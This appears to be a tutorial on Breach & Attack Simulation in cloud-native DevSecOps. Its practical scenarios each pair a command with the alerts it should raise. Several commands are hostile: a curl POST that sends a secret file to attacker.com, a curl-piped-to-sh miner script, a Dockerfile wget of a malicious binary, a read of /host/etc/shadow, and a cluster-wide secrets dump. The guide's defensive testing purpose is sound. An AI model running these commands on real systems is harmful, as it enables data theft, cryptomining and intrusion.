Breach & Attack Simulation (BAS) automatically emulates real-world cyberattacks across your entire DevSecOps ecosystem—cloud, Kubernetes, containers, CI/CD pipelines, networks, and endpoints. Instead of manual red-team operations, BAS continuously tests your security controls, SIEM detections, logging pipelines, and incident response readiness using realistic attacker behaviors mapped to MITRE ATT&CK.
BAS provides repeatable, automated, and safe adversarial simulations to verify that all defenses work as expected.
What BAS Does in DevSecOps
BAS systems simulate:
• initial access
• privilege escalation
• lateral movement
• container escape attempts
• cloud identity compromise
• CI/CD pipeline abuse
• ransomware-like activity
• exfiltration
• persistence creation
• misconfiguration exploitation
They emulate real offense techniques to identify:
• detection gaps
• broken alerts
• drifted security configurations
• missing telemetry
• unmonitored attack paths
• incomplete response procedures
BAS ensures continuous validation—not episodic testing.
Why BAS Is Critical
Modern DevSecOps environments are large and dynamic. Security controls break often due to:
• updates
• drift
• new deployments
• misconfigurations
• cloud changes
• Kubernetes changes
• policy mismatches
BAS provides:
• continuous evaluation
• realistic attacker simulations
• automated remediation validation
• measurable detection coverage
• proactive improvement
This helps maintain strong security posture.
BAS vs Red Team Automation
| Aspect | BAS | Red Team Automation |
|---|---|---|
| Goal | Validate defenses | Simulate offensive actions |
| Depth | Continuous, automated, full-cycle | Scripted attack stages |
| Skill Needs | Low | Medium to high |
| Scope | Cloud, CI/CD, apps, infra | Specific targets |
| Output | Gaps, detections, recommendations | Attack results and signals |
| Mapping | MITRE ATT&CK mapped | Often manual mapping |
BAS is broader and more systematic.
BAS Target Layers
BAS tests across:
• cloud IAM
• network segmentation
• Kubernetes RBAC
• secrets management
• CI/CD protections
• container runtime defenses
• Identity systems (Okta, AD)
• storage buckets
• API endpoints
• serverless functions
Many BAS platforms integrate with SIEM/SOAR for automated feedback loops.
BAS Platforms & Tools
Commercial BAS:
• Cymulate
• AttackIQ
• SafeBreach
• Picus Security
• Randori Recon
• FireCompass
• XM Cyber
Open or semi-open BAS-like tools:
• Stratus Red Team
• MITRE Caldera
• Atomic Red Team
• Infection Monkey
• PurpleSharp
• CloudGoat
All allow frequent, automated adversarial testing.
Full-Length Practical Section
Hands-on BAS scenarios for cloud-native DevSecOps environments.
Practical 1: Run Cloud IAM Attack Simulation With Stratus Red Team
Install:
curl -sSL https://stratus-red-team.cloud/install.sh | bash
Example:
stratus run aws.iam.privilege-escalation
Expected outcomes:
• CloudTrail logs
• SIEM detection
• IAM remediation alerts
Practical 2: Run Container Breakout Simulation
Simulate escape attempt:
kubectl exec -it app -- cat /host/etc/shadow
Expected:
• Falco alert
• SIEM correlation
• runtime isolation
Practical 3: Simulate Privilege Escalation in Kubernetes
kubectl auth can-i create clusterroles --as=system:serviceaccount:default:default
Expected:
• audit log alert
• RBAC denial
• SIEM rule trigger
Practical 4: Simulate Lateral Movement Inside Cluster
From compromised pod:
kubectl get secrets -A
Expected:
• alert on unusual secret access
• denied access by RBAC
Practical 5: Simulate Unauthorized Image Deployment
Apply unsigned image manifest:
kubectl apply -f unsigned.yaml
Expect:
• admission controller denial
• CI/CD failure if part of pipeline
Practical 6: Simulate Cloud Storage Breach
AWS example:
aws s3 ls s3://private-bucket
From compromised instance.
Expected:
• denied by IAM
• CloudTrail event logged
• SIEM alert
Practical 7: Simulate Data Exfiltration
Inside pod:
curl -X POST http://attacker.com --data "$(cat /tmp/secret)"
Expected:
• Falco exfiltration alert
• network policy block
Practical 8: Simulate Malicious CI/CD Activity
Trigger unauthorized workflow:
curl -H "Authorization: Bearer <token>" https://gitlab/api/v4/projects/1/pipelines
Expected:
• pipeline anomaly alert
• token revoked
Practical 9: Simulate Misconfigured Firewall Rule
AWS:
aws ec2 authorize-security-group-ingress --cidr 0.0.0.0/0 --port 22
Expected:
• AWS Config rule violation
• auto-remediation
Practical 10: Simulate Malware-like Behavior in Container
Run miner-like script:
curl -L miner.sh | sh
Expected:
• Falco crypto-mining alert
• node drain or pod kill
Practical 11: Web Application Attack Simulation
Use automated attacker:
sqlmap -u https://app/login
Expected:
• WAF alert
• security logs in SIEM
Practical 12: Serverless Abuse Simulation
AWS Lambda:
aws lambda invoke --function-name sensitive-func output.txt
Expected:
• IAM warning
• Lambda audit log detection
Practical 13: Simulate Insider Threat Code Change
Modify protected branch:
git push --force origin main
Expected:
• branch protection alert
• automatic revert (GitOps)
Practical 14: Network Segmentation Bypass Attempt
Inside VPC:
nmap 10.10.0.0/16
Expected:
• anomaly detected
• blocked by egress policies
Practical 15: Supply Chain Attack Simulation
Modify Dockerfile:
RUN wget http://malicious-binary
Push image.
Expected:
• SCA tool flags image
• registry scanning fails
Practical 16: Access Token Reuse Simulation
Replay expired token:
curl -H "Authorization: Bearer <old-token>" ...
Expected:
• IAM token validation failure
• SIEM alert
Practical 17: Simulate DoS in Kubernetes
kubectl scale deploy app --replicas=5000
Expected:
• quota enforcement
• alert on scaling anomaly
Practical 18: Cloud Resource Creation Attack
Create costly EC2:
aws ec2 run-instances --instance-type r5.24xlarge
Expected:
• cost policy alert
• immediate termination
Practical 19: Simulate Drift in Infrastructure
Modify Terraform state or configuration manually.
Expected:
• drift detection
• policy-as-code block
Practical 20: Full BAS Pipeline Execution
Schedule weekly BAS run:
• cloud IAM attacks
• container escape
• lateral movement
• CI/CD compromise
• image tampering
• misconfigurations
• exfiltration simulation
• unauthorized API usage
• infrastructure drift attack
Output:
• detection map
• missed alerts
• remediation status
• coverage score
Intel Dump
• BAS automates real attack simulations across cloud, Kubernetes, containers, CI/CD pipelines, and networks
• validates detection, prevention, visibility, and incident response
• tools include AttackIQ, Cymulate, Stratus Red Team, Caldera, Infection Monkey, CloudGoat, Atomic Red Team
• practicals include cloud IAM attacks, container escape, admission policy bypass, lateral movement, exfiltration, unsanctioned deployments, firewall misconfigs, and full attack-chain automation
• ensures continuous validation of security posture in DevSecOps environments